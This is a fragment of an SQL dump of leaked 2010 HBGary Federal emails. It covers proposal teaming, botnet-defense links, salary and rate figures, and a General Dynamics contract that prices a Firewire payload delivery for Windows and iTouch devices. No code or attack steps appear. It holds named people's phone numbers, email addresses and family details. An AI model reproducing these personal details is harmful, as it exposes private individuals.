wrote:\r\n\r\n\r\nBODY{font-family:monospace;}\r\n\r\nAaron,&nbsp;&nbsp;&nbsp; I had a meeting \'slip\' into the schedule.&nbsp;&nbsp;&nbsp; Can we move this 30 minutes to start at 11:00?&nbsp;&nbsp;&nbsp; Let me know,Erik&lt;meeting.ics&gt;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',4779,'aaron_hbgary_com/4779.html'),(2886,'2010-02-22','\"Aaron Barr\" <adbarr@mac.com>','/aaron@hbgary.com/new/1297001373.M691102P3547Q2886.eml','\"Ted Vera\" <ted@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Phil\" <phil@hbgary.com>','','http://www.infosecurity-us.com/view/7486/school-linked-to-operation-aurora-attack-is-tied-indirectly-to-hacktivist-group/?utm_source=twitterfeed&utm_medium=twitter\r\n\r\n\r\n From my iPhone\r\n',5444,'aaron_hbgary_com/5444.html'),(2887,'2010-02-22','\"Google Calendar\" <calendar-notification@google.com>','/aaron@hbgary.com/new/1297001373.M932508P3547Q2887.eml','\"Aaron Barr\" <aaron@hbgary.com>','Reminder: DARPA @ Mon Feb 22 9am - 1pm (aaron@hbgary.com)',' more details &raquo;DARPAWhenMon Feb 22 9am – 1pm Eastern TimeCalendaraaron@hbgary.comWho&#x2022;Aaron Barr - organizerInvitation from Google CalendarYou are receiving this email at the account aaron@hbgary.com because you are subscribed for reminders on calendar aaron@hbgary.com.To stop receiving these notifications, please log in to https://www.google.com/calendar/hosted/hbgary.com/ and change your notification settings for this calendar.',2920,'aaron_hbgary_com/2920.html'),(2888,'2010-02-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001374.M111156P3547Q2888.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: Botnet defense','So u guys are going to join a gd/HBGary team for the baa?\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Feb 21, 2010, at 8:07 AM, \"Masterson, Brian (Xetron)\"\r\n wrote:\r\n\r\n> Interesting...\r\n> Would like to see what and how many they actually can monitor.  Did\r\n> not\r\n> see a list on their pages other than the 9 listed on their brochure\r\n> sample report.  Do they actually RE the malware or wait for reports\r\n> like\r\n> your Aurora?  Worth giving them a call in case they are a data\r\n> repository that no one knows about.\r\n>\r\n> Baby came home yesterday afternoon.  He is fine other than we have to\r\n> suck snot out of his nose for him til it clears up.  I thought I was\r\n> short on sleep on Friday.  Got an hour last night and I am chaperoning\r\n> my daughter\'s youth group trip to the local ski place.  Ugh.\r\n>\r\n> At CMU tomorrow with Brammer.  See you Tuesday.\r\n>\r\n> Brian Masterson\r\n> Northrop Grumman/Xetron\r\n> Chief Technology Officer, IO Programs\r\n> Ph: 513-881-3591\r\n> Cell: 513-706-4848\r\n> Fax: 513-881-3877\r\n>\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Saturday, February 20, 2010 12:54 AM\r\n> To: Masterson, Brian (Xetron)\r\n> Subject: Botnet defense\r\n>\r\n> Just found this...\r\n>\r\n> http://www.damballa.com/solutions/downloads.php\r\n>\r\n> Aaron\r\n>\r\n> From my iPhone\r\n',7297,'aaron_hbgary_com/7297.html'),(2889,'2010-02-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001374.M311189P3547Q2889.eml','\"Aaron Zollman\" <azollman@palantirtech.com>','Re: Datasets','Hey Aaron,Let me check.AaronFrom my iPhoneOn Feb 19, 2010, at 12:41 PM, Aaron Zollman &lt;azollman@palantirtech.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nHello Aaron B!\r\n\r\n \r\n\r\nI met Greg and (I think) Rich\r\nand Shaun in Sacramento on Tuesday to help introduce them to the platform; it\r\nwas great to learn more about how you track and respond to coordinated attacks.\r\n\r\n \r\n\r\nRight now, I’m trying to model\r\na fast-flux coordinated botnet in Palantir and show how someone with access to\r\na good amount of passive DNS or proxy traffic can build a visual picture of the\r\nnodes involved in coordination, and how control and activity transfer over\r\ntime. \r\n\r\n \r\n\r\nRather than try and mock up a\r\ndataset from scratch, do you guys have some historical logs to share, say from\r\na few days of Storm, that might make for a more believable or accurate model?\r\n\r\n \r\n\r\nThanks –\r\n\r\n  Aaron Z.\r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\n_________________________________________________________\r\nAaron Zollman\r\nPalantir Technologies | Embedded Analyst\r\nazollman@palantirtech.com | 202-684-8066\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Matthew Steckman \r\n\r\nSent: Friday, February 19, 2010 6:31 AM\r\nTo: Aaron Barr\r\nCc: Aaron Zollman\r\nSubject: Datasets\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nAaron,\r\n\r\n \r\n\r\nId like to introduce you to one of our cyber technical SMEs,\r\nAaron Zollman.  Do you think you could work with him to get us some mock\r\ndatasets to play around with in Palantir?\r\n\r\n \r\n\r\nIll let him pick up the thread from here, you should see an email\r\nfrom him with a description of what we’re looking for sometime today.\r\n\r\n \r\n\r\nThanks,\r\n\r\nMatt\r\n\r\n \r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com\r\n| 202-257-2270\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7621,'aaron_hbgary_com/7621.html'),(2890,'2010-02-22','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297001374.M505059P3547Q2890.eml','aaron@hbgary.com','Re: Botnet defense','\r\n\r\n\r\n\r\n\r\nRe: Botnet defense\r\n\r\n\r\n\r\n\r\nI think so.&nbsp; Just need to figure out the logistics.&nbsp; Still not sure what gd is bringing related to darpa and this baa.&nbsp; On plane, waiting to take off.\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Masterson, Brian (Xetron)\r\nSent: Mon Feb 22 08:15:40 2010\r\nSubject: Re: Botnet defense\r\n\r\nSo u guys are going to join a gd/HBGary team for the baa?\r\n\r\nAaron\r\n\r\n&nbsp;From my iPhone\r\n\r\nOn Feb 21, 2010, at 8:07 AM, &quot;Masterson, Brian (Xetron)&quot;\r\n&lt;Brian.Masterson@ngc.com\r\n&nbsp;&gt; wrote:\r\n\r\n&gt; Interesting...\r\n&gt; Would like to see what and how many they actually can monitor.&nbsp; Did\r\n&gt; not\r\n&gt; see a list on their pages other than the 9 listed on their brochure\r\n&gt; sample report.&nbsp; Do they actually RE the malware or wait for reports\r\n&gt; like\r\n&gt; your Aurora?&nbsp; Worth giving them a call in case they are a data\r\n&gt; repository that no one knows about.\r\n&gt;\r\n&gt; Baby came home yesterday afternoon.&nbsp; He is fine other than we have to\r\n&gt; suck snot out of his nose for him til it clears up.&nbsp; I thought I was\r\n&gt; short on sleep on Friday.&nbsp; Got an hour last night and I am chaperoning\r\n&gt; my daughter\'s youth group trip to the local ski place.&nbsp; Ugh.\r\n&gt;\r\n&gt; At CMU tomorrow with Brammer.&nbsp; See you Tuesday.\r\n&gt;\r\n&gt; Brian Masterson\r\n&gt; Northrop Grumman/Xetron\r\n&gt; Chief Technology Officer, IO Programs\r\n&gt; Ph: 513-881-3591\r\n&gt; Cell: 513-706-4848\r\n&gt; Fax: 513-881-3877\r\n&gt;\r\n&gt;\r\n&gt; -----Original Message-----\r\n&gt; From: Aaron Barr [mailto:aaron@hbgary.com]\r\n&gt; Sent: Saturday, February 20, 2010 12:54 AM\r\n&gt; To: Masterson, Brian (Xetron)\r\n&gt; Subject: Botnet defense\r\n&gt;\r\n&gt; Just found this...\r\n&gt;\r\n&gt; http://www.damballa.com/solutions/downloads.php\r\n&gt;\r\n&gt; Aaron\r\n&gt;\r\n&gt; From my iPhone\r\n\r\n\r\n\r\n\r\n',7468,'aaron_hbgary_com/7468.html'),(2891,'2010-02-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001374.M699955P3547Q2891.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: Botnet defense','K.  They bring operations.  Van putte keeps mentioning this is to help law enforcement and investigators.  I want to shore up teaming early this week and start writing. \r\nAaron   From my iPhoneOn Feb 22, 2010, at 9:20 AM, &quot;Masterson, Brian (Xetron)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nI think so.  Just need to figure out the logistics.  Still not sure what gd is bringing related to darpa and this baa.  On plane, waiting to take off.\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Masterson, Brian (Xetron)\r\nSent: Mon Feb 22 08:15:40 2010\r\nSubject: Re: Botnet defense\r\n\r\nSo u guys are going to join a gd/HBGary team for the baa?\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Feb 21, 2010, at 8:07 AM, &quot;Masterson, Brian (Xetron)&quot;\r\n&lt;Brian.Masterson@ngc.com\r\n &gt; wrote:\r\n\r\n&gt; Interesting...\r\n&gt; Would like to see what and how many they actually can monitor.  Did\r\n&gt; not\r\n&gt; see a list on their pages other than the 9 listed on their brochure\r\n&gt; sample report.  Do they actually RE the malware or wait for reports\r\n&gt; like\r\n&gt; your Aurora?  Worth giving them a call in case they are a data\r\n&gt; repository that no one knows about.\r\n&gt;\r\n&gt; Baby came home yesterday afternoon.  He is fine other than we have to\r\n&gt; suck snot out of his nose for him til it clears up.  I thought I was\r\n&gt; short on sleep on Friday.  Got an hour last night and I am chaperoning\r\n&gt; my daughter&#39;s youth group trip to the local ski place.  Ugh.\r\n&gt;\r\n&gt; At CMU tomorrow with Brammer.  See you Tuesday.\r\n&gt;\r\n&gt; Brian Masterson\r\n&gt; Northrop Grumman/Xetron\r\n&gt; Chief Technology Officer, IO Programs\r\n&gt; Ph: 513-881-3591\r\n&gt; Cell: 513-706-4848\r\n&gt; Fax: 513-881-3877\r\n&gt;\r\n&gt;\r\n&gt; -----Original Message-----\r\n&gt; From: Aaron Barr [mailto:aaron@hbgary.com]\r\n&gt; Sent: Saturday, February 20, 2010 12:54 AM\r\n&gt; To: Masterson, Brian (Xetron)\r\n&gt; Subject: Botnet defense\r\n&gt;\r\n&gt; Just found this...\r\n&gt;\r\n&gt; http://www.damballa.com/solutions/downloads.php\r\n&gt;\r\n&gt; Aaron\r\n&gt;\r\n&gt; From my iPhone\r\n\r\n\r\n\r\n\r\n\r\n',4078,'aaron_hbgary_com/4078.html'),(2892,'2010-02-22','\"Aaron Barr\" <adbarr@mac.com>','/aaron@hbgary.com/new/1297001374.M937262P3547Q2892.eml','\"Aaron Barr\" <aaron@hbgary.com>','','http://www.infosecurity-us.com/view/7486/school-linked-to-operation-aurora-attack-is-tied-indirectly-to-hacktivist-group/?utm_source=twitterfeed&utm_medium=twitter\r\n\r\n\r\n From my iPhone\r\n',868,'aaron_hbgary_com/868.html'),(2893,'2010-02-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001375.M137825P3547Q2893.eml','\"Ted Vera\" <ted@hbgary.com>','Malware db','How big is ours?\r\n\r\n From my iPhone\r\n',5003,'aaron_hbgary_com/5003.html'),(2894,'2010-02-22','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001375.M408210P3547Q2894.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Malware db','500GB\r\n\r\n\r\n\r\nOn Feb 22, 2010, at 7:56 AM, Aaron Barr  wrote:\r\n\r\n> How big is ours?\r\n>\r\n> From my iPhone\r\n',4198,'aaron_hbgary_com/4198.html'),(2895,'2010-02-22','\"Google Calendar\" <calendar-notification@google.com>','/aaron@hbgary.com/new/1297001375.M612817P3547Q2895.eml','\"Aaron Barr\" <aaron@hbgary.com>','Reminder: Sparta Discussion @ Mon Feb 22 10:30am - 11:30am 	(aaron@hbgary.com)',' more details &raquo;Sparta DiscussionWhenMon Feb 22 10:30am – 11:30am Eastern TimeWhereColumbia, MD (map)Calendaraaron@hbgary.comWho&#x2022;Aaron Barr - organizer&#x2022;erik.mettala@cobham.comGoing?&nbsp;&nbsp;&nbsp;Yes - Maybe - No&nbsp;&nbsp;&nbsp;&nbsp;more options &raquo;Invitation from Google CalendarYou are receiving this email at the account aaron@hbgary.com because you are subscribed for reminders on calendar aaron@hbgary.com.To stop receiving these notifications, please log in to https://www.google.com/calendar/hosted/hbgary.com/ and change your notification settings for this calendar.',16709,'aaron_hbgary_com/16709.html'),(2896,'2010-02-22','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297001375.M819221P3547Q2896.eml','aaron@hbgary.com','Re: Botnet defense','\r\nGot ft wayne working now.  Talk to you tomorrow.\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;To: Masterson, Brian (Xetron)Sent: Mon Feb 22 08:25:26 2010Subject: Re: Botnet defense\r\nK.  They bring operations.  Van putte keeps mentioning this is to help law enforcement and investigators.  I want to shore up teaming early this week and start writing. \r\nAaron   From my iPhoneOn Feb 22, 2010, at 9:20 AM, &quot;Masterson, Brian (Xetron)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nI think so.  Just need to figure out the logistics.  Still not sure what gd is bringing related to darpa and this baa.  On plane, waiting to take off.\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Masterson, Brian (Xetron)\r\nSent: Mon Feb 22 08:15:40 2010\r\nSubject: Re: Botnet defense\r\n\r\nSo u guys are going to join a gd/HBGary team for the baa?\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Feb 21, 2010, at 8:07 AM, &quot;Masterson, Brian (Xetron)&quot;\r\n&lt;Brian.Masterson@ngc.com\r\n &gt; wrote:\r\n\r\n&gt; Interesting...\r\n&gt; Would like to see what and how many they actually can monitor.  Did\r\n&gt; not\r\n&gt; see a list on their pages other than the 9 listed on their brochure\r\n&gt; sample report.  Do they actually RE the malware or wait for reports\r\n&gt; like\r\n&gt; your Aurora?  Worth giving them a call in case they are a data\r\n&gt; repository that no one knows about.\r\n&gt;\r\n&gt; Baby came home yesterday afternoon.  He is fine other than we have to\r\n&gt; suck snot out of his nose for him til it clears up.  I thought I was\r\n&gt; short on sleep on Friday.  Got an hour last night and I am chaperoning\r\n&gt; my daughter&#39;s youth group trip to the local ski place.  Ugh.\r\n&gt;\r\n&gt; At CMU tomorrow with Brammer.  See you Tuesday.\r\n&gt;\r\n&gt; Brian Masterson\r\n&gt; Northrop Grumman/Xetron\r\n&gt; Chief Technology Officer, IO Programs\r\n&gt; Ph: 513-881-3591\r\n&gt; Cell: 513-706-4848\r\n&gt; Fax: 513-881-3877\r\n&gt;\r\n&gt;\r\n&gt; -----Original Message-----\r\n&gt; From: Aaron Barr [mailto:aaron@hbgary.com]\r\n&gt; Sent: Saturday, February 20, 2010 12:54 AM\r\n&gt; To: Masterson, Brian (Xetron)\r\n&gt; Subject: Botnet defense\r\n&gt;\r\n&gt; Just found this...\r\n&gt;\r\n&gt; http://www.damballa.com/solutions/downloads.php\r\n&gt;\r\n&gt; Aaron\r\n&gt;\r\n&gt; From my iPhone\r\n\r\n\r\n\r\n\r\n\r\n',9491,'aaron_hbgary_com/9491.html'),(2897,'2010-02-22','\"Thompson, Bill M.\" <Bill.Thompson@gd-ais.com>','/aaron@hbgary.com/new/1297001376.M190448P3547Q2898.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,,,,','RE: more Task B work','Hi Ted,\r\n\r\nUnderstood.  Thanks for the update and response. This is good news on all fronts.  \r\n\r\nThinking out loud, I anticipate more funds will be spent on a modification to the delivery to accommodate larger payload sizes as soon as I discover/remember the payload size limitation.  We also ran into a stability issue on the last delivery that may or may not need tweaking this time around again. \r\n\r\nRegardless, it sounds like there will be enough to do the iTouch feasibility study.  \r\n\r\nOn JOHN SPILLER\'S approval, Please do this ASAP so that we\'ll know if we need to find more money to fully implement this if/when you guys diagnose the feasibility as \"highly feasible\". \r\n\r\nThanks,\r\nBill\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com] \r\nSent: Friday, February 19, 2010 3:17 PM\r\nTo: Thompson, Bill M.\r\nCc: Martin Pillion; Penny C. Hoglund; Spiller, John F.; Scott Pease; Barr Aaron\r\nSubject: Re: more Task B work\r\n\r\nGreetings Bill,\r\n\r\nAttached is the Project B Status report, as requested.  We forecast an ~$80K estimate-at-complete for our currently assigned tasks, which is significantly less than originally anticipated.  We will honor the previously provided quote for the iTouch feasibility effort and have sufficient funding on contract to complete that task, as well as a significant portion of the iTouch development, if it proves feasible.\r\n\r\nBelow is my contact information, please let me know if you have any questions.\r\n\r\nRegards,\r\nTed Vera\r\n\r\nOffice:  916-459-4727 ext 118\r\nCell:  719-237-8623\r\nEmail:  ted@hbgary.com\r\n\r\n\r\n\r\nOn Thu, Feb 18, 2010 at 2:42 PM, Thompson, Bill M.\r\n wrote:\r\n> Hi Ted,\r\n>\r\n> We met here in Santa Clara, CA in the NES lab with Ben Wilson when you \r\n> and Aaron (spelling?) came to visit a couple months ago about HB Federal.\r\n>\r\n> Penny informed me a month or so ago that you are the lead for Task B \r\n> now replacing Scott.  I just got off the phone with Martin about \r\n> future work for Task B and I would like to know formally from you if \r\n> you can provide an updated cost estimate to incorporate the latest \r\n> Firewire implementation into an iTouch device or if the below quote is \r\n> still valid. (The last quote is provided for your reference below)\r\n>\r\n> I would also like to know the status of how Task B is coming along and \r\n> if there will be budget left over to characterized the feasibility of \r\n> incorporating into the iTouch device in this current budget. (i.e. can \r\n> you shoehorn in the first line item \"iTouch Feasibility Study\").  If \r\n> not, I would suggest that you guys reprioritize to make this happen \r\n> and then just tack on the additional amount needed to finish the \r\n> current scope of Task B (Firewire O/S compatibility work) into the \r\n> additional funds we anticipate sending your way next month.  Of \r\n> course, John Spiller our PM needs to formally make that \r\n> reprioritization call if you decide you don\'t have the funds \r\n> available, but that is my recommendation.   If migrating to an iTouch \r\n> is feasible, which it sounds like is a good possibility, then we anticipate moving forward with this migration in the next phase of Task B.\r\n>\r\n> Please let me know at your earliest convenience as this directly \r\n> impacts our ability to obtain more funding from a diminishing source.\r\n>\r\n> Regards,\r\n>\r\n> Bill\r\n>\r\n> Sent 11/12/2009 from Scott\r\n>\r\n> Bill,\r\n>\r\n> We recommend the following operating systems for 32bit development:\r\n>\r\n> Windows 2000 Professional SP4   $14,133.12\r\n>\r\n> Windows Vista SP0       $14,133.12\r\n>\r\n> Windows Vista SP1, SP2  $23,555.20\r\n>\r\n> Total   $51,821.44\r\n>\r\n> We recommend the following operating systems for 64bit development:\r\n>\r\n> Initial 64 bit research $47,110.40\r\n>\r\n> Windows Vista SP0       $14,133.12\r\n>\r\n> Windows Vista SP1, SP2  $14,133.12\r\n>\r\n> Windows 7       $23,555.20\r\n>\r\n> Total   $98,931.84\r\n>\r\n> The PSP and iPod/iTouch delivery platforms each require an initial \r\n> feasibility study.\r\n>\r\n> iPod/iTouch Feasibility study   $23,555.20\r\n>\r\n> iPod/iTouch development $94,220.80\r\n>\r\n> Total   $117,776.00\r\n>\r\n>\r\n>\r\n> PSP Feasibility study   $23,555.20\r\n>\r\n> PSP development $94,220.80\r\n>\r\n> Total   $117,776.00\r\n>\r\n> We do not recommend development for the true server OS versions as \r\n> they are not likely to be found on a laptop:\r\n>\r\n> Windows 2000 Server\r\n>\r\n> Windows 2003 Server\r\n>\r\n> Windows 2008 Server\r\n>\r\n> Let me know if you have questions.\r\n>\r\n> Best regards,\r\n>\r\n> Scott\r\n\r\n\r\n\r\n--\r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',9271,'aaron_hbgary_com/9271.html'),(2898,'2010-02-22','\"Spiller, John F.\" <John.Spiller@gd-ais.com>','/aaron@hbgary.com/new/1297001376.M398941P3547Q2899.eml','\"Thompson, Bill M.\" <Bill.Thompson@gd-ais.com>,\"Ted Vera\" <ted@hbgary.com>,\"Thompson, Bill M.\" <Bill.Thompson@gd-ais.com>,\"Ted Vera\" <ted@hbgary.com>,,','RE: more Task B work','Concur. Go for it!\r\n--John\r\n\r\n-----Original Message-----\r\nFrom: Thompson, Bill M. \r\nSent: Monday, February 22, 2010 9:37 AM\r\nTo: Ted Vera\r\nCc: Martin Pillion; Penny C. Hoglund; Spiller, John F.; Scott Pease; Barr Aaron\r\nSubject: RE: more Task B work\r\n\r\nHi Ted,\r\n\r\nUnderstood.  Thanks for the update and response. This is good news on all fronts.  \r\n\r\nThinking out loud, I anticipate more funds will be spent on a modification to the delivery to accommodate larger payload sizes as soon as I discover/remember the payload size limitation.  We also ran into a stability issue on the last delivery that may or may not need tweaking this time around again. \r\n\r\nRegardless, it sounds like there will be enough to do the iTouch feasibility study.  \r\n\r\nOn JOHN SPILLER\'S approval, Please do this ASAP so that we\'ll know if we need to find more money to fully implement this if/when you guys diagnose the feasibility as \"highly feasible\". \r\n\r\nThanks,\r\nBill\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com] \r\nSent: Friday, February 19, 2010 3:17 PM\r\nTo: Thompson, Bill M.\r\nCc: Martin Pillion; Penny C. Hoglund; Spiller, John F.; Scott Pease; Barr Aaron\r\nSubject: Re: more Task B work\r\n\r\nGreetings Bill,\r\n\r\nAttached is the Project B Status report, as requested.  We forecast an ~$80K estimate-at-complete for our currently assigned tasks, which is significantly less than originally anticipated.  We will honor the previously provided quote for the iTouch feasibility effort and have sufficient funding on contract to complete that task, as well as a significant portion of the iTouch development, if it proves feasible.\r\n\r\nBelow is my contact information, please let me know if you have any questions.\r\n\r\nRegards,\r\nTed Vera\r\n\r\nOffice:  916-459-4727 ext 118\r\nCell:  719-237-8623\r\nEmail:  ted@hbgary.com\r\n\r\n\r\n\r\nOn Thu, Feb 18, 2010 at 2:42 PM, Thompson, Bill M.\r\n wrote:\r\n> Hi Ted,\r\n>\r\n> We met here in Santa Clara, CA in the NES lab with Ben Wilson when you \r\n> and Aaron (spelling?) came to visit a couple months ago about HB Federal.\r\n>\r\n> Penny informed me a month or so ago that you are the lead for Task B \r\n> now replacing Scott.  I just got off the phone with Martin about \r\n> future work for Task B and I would like to know formally from you if \r\n> you can provide an updated cost estimate to incorporate the latest \r\n> Firewire implementation into an iTouch device or if the below quote is \r\n> still valid. (The last quote is provided for your reference below)\r\n>\r\n> I would also like to know the status of how Task B is coming along and \r\n> if there will be budget left over to characterized the feasibility of \r\n> incorporating into the iTouch device in this current budget. (i.e. can \r\n> you shoehorn in the first line item \"iTouch Feasibility Study\").  If \r\n> not, I would suggest that you guys reprioritize to make this happen \r\n> and then just tack on the additional amount needed to finish the \r\n> current scope of Task B (Firewire O/S compatibility work) into the \r\n> additional funds we anticipate sending your way next month.  Of \r\n> course, John Spiller our PM needs to formally make that \r\n> reprioritization call if you decide you don\'t have the funds \r\n> available, but that is my recommendation.   If migrating to an iTouch \r\n> is feasible, which it sounds like is a good possibility, then we anticipate moving forward with this migration in the next phase of Task B.\r\n>\r\n> Please let me know at your earliest convenience as this directly \r\n> impacts our ability to obtain more funding from a diminishing source.\r\n>\r\n> Regards,\r\n>\r\n> Bill\r\n>\r\n> Sent 11/12/2009 from Scott\r\n>\r\n> Bill,\r\n>\r\n> We recommend the following operating systems for 32bit development:\r\n>\r\n> Windows 2000 Professional SP4   $14,133.12\r\n>\r\n> Windows Vista SP0       $14,133.12\r\n>\r\n> Windows Vista SP1, SP2  $23,555.20\r\n>\r\n> Total   $51,821.44\r\n>\r\n> We recommend the following operating systems for 64bit development:\r\n>\r\n> Initial 64 bit research $47,110.40\r\n>\r\n> Windows Vista SP0       $14,133.12\r\n>\r\n> Windows Vista SP1, SP2  $14,133.12\r\n>\r\n> Windows 7       $23,555.20\r\n>\r\n> Total   $98,931.84\r\n>\r\n> The PSP and iPod/iTouch delivery platforms each require an initial \r\n> feasibility study.\r\n>\r\n> iPod/iTouch Feasibility study   $23,555.20\r\n>\r\n> iPod/iTouch development $94,220.80\r\n>\r\n> Total   $117,776.00\r\n>\r\n>\r\n>\r\n> PSP Feasibility study   $23,555.20\r\n>\r\n> PSP development $94,220.80\r\n>\r\n> Total   $117,776.00\r\n>\r\n> We do not recommend development for the true server OS versions as \r\n> they are not likely to be found on a laptop:\r\n>\r\n> Windows 2000 Server\r\n>\r\n> Windows 2003 Server\r\n>\r\n> Windows 2008 Server\r\n>\r\n> Let me know if you have questions.\r\n>\r\n> Best regards,\r\n>\r\n> Scott\r\n\r\n\r\n\r\n--\r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',14664,'aaron_hbgary_com/14664.html'),(2899,'2010-02-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001376.M5115P3547Q2897.eml','\"Mettala, Erik\" <Erik.Mettala@cobham.com>','Re: Accepted: Invitation: Sparta Discussion @ Mon Feb 22 10:30am - 	11:30am (erik.mettala@cobham.com)','Erik,\r\n\r\nDid u get my note.  I really want to catch up with you to discuss.\r\nWhat\'s your schedule like?  Which tech area are u most focused on?  I\r\nam looking at 3 and then 1 for most interest.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Feb 21, 2010, at 10:13 AM, \"Mettala, Erik\"\r\n wrote:\r\n\r\n> \r\n',11022,'aaron_hbgary_com/11022.html'),(2900,'2010-02-22','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001376.M582416P3547Q2900.eml','\"Barr Aaron\" <aaron@hbgary.com>','Salaries for cost proposal','What do you think about these salaries for Guardian - to be performed\r\nin San Antonio, TX.  (Salary.com data pulled for SanAntonio):\r\n\r\nComputer Scientist, Principal\r\nSalary.com Software Engineer V\r\nMidpoint $110K\r\nHBGary Federal Midpoint $110K\r\n\r\nComputer Scientist, Senior\r\nSalary.com Software Engineer IV\r\nMidpoint $99K\r\nHBGary Federal Midpoint $99K\r\n\r\nComputer Forensics & Intrusion Analyst, Principal\r\nSalary.com Data Security Analyst Sr.\r\nMidpoint $79K\r\nHBGary Federal Midpoint $90K (there is no salary.com equivalent to\r\n\"Principal\", requires 12 yrs exp)\r\n\r\nComputer Forensics & Intrusion Analyst, Senior\r\nSalary.com Data Security Analyst Sr.\r\nMidpoint $79K\r\nHBGary Federal Midpoint $80K\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',8531,'aaron_hbgary_com/8531.html'),(2901,'2010-02-22','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001376.M857414P3547Q2901.eml','\"Barr Aaron\" <aaron@hbgary.com>','Re: Salaries for cost proposal','Fully Burdened rates (including 6% fee- max allowed per RFP):\r\n\r\n$115.71   Computer Scientist, Principal\r\n$104.14   Computer Scientist, Senior\r\n$94.67    Computer Forensics & Intrusion Analyst, Principal\r\n$84.15    Computer Forensics & Intrusion Analyst, Senior\r\n\r\nWhat do you think?\r\n\r\n\r\nOn Mon, Feb 22, 2010 at 12:13 PM, Ted Vera  wrote:\r\n> What do you think about these salaries for Guardian - to be performed\r\n> in San Antonio, TX.  (Salary.com data pulled for SanAntonio):\r\n>\r\n> Computer Scientist, Principal\r\n> Salary.com Software Engineer V\r\n> Midpoint $110K\r\n> HBGary Federal Midpoint $110K\r\n>\r\n> Computer Scientist, Senior\r\n> Salary.com Software Engineer IV\r\n> Midpoint $99K\r\n> HBGary Federal Midpoint $99K\r\n>\r\n> Computer Forensics & Intrusion Analyst, Principal\r\n> Salary.com Data Security Analyst Sr.\r\n> Midpoint $79K\r\n> HBGary Federal Midpoint $90K (there is no salary.com equivalent to\r\n> \"Principal\", requires 12 yrs exp)\r\n>\r\n> Computer Forensics & Intrusion Analyst, Senior\r\n> Salary.com Data Security Analyst Sr.\r\n> Midpoint $79K\r\n> HBGary Federal Midpoint $80K\r\n>\r\n> --\r\n> Ted H. Vera\r\n> President | COO\r\n> HBGary Federal\r\n> 719-237-8623\r\n>\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',5488,'aaron_hbgary_com/5488.html'),(2902,'2010-02-22','\"Aaron Barr\" <adbarr@me.com>','/aaron@hbgary.com/new/1297001377.M229718P3547Q2903.eml','\"Aaron Barr\" <aaron@hbgary.com>','Alarm - DARPA','February 22, 2010 9:00 AM : DARPA \r\n',8575,'aaron_hbgary_com/8575.html'),(2903,'2010-02-22','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001377.M35002P3547Q2902.eml','\"Barbara Vermilyea\" <barbarabookkeeping@yahoo.com>','Re: GD','Hello Barbara,\r\n\r\nI have a quick question...  Do you know if quickbooks online supports\r\npricing escalation for multi-year proposals?\r\n\r\nFor example, I would like to escalate the hourly fees by 3% per year.\r\n\r\nThanks,\r\nTed\r\n\r\n\r\n\r\nOn Fri, Feb 19, 2010 at 4:40 PM, Barbara Vermilyea\r\n wrote:\r\n> Let me know if you need more.\r\n>\r\n>\r\n>  Barbara Vermilyea\r\n> PROFESSIONAL BOOKKEEPING SERVICES\r\n>\r\n> TNI Folsom Breakfast, VP, Past Treasurer (Business-to-Business Networking)\r\n>\r\n> (916) 705-8414 mobile\r\n>\r\n> (916) 351-8380 fax\r\n>\r\n> \"Don\'t keep me a secret. Your referrals are the heart of my business.\"\r\n>\r\n> 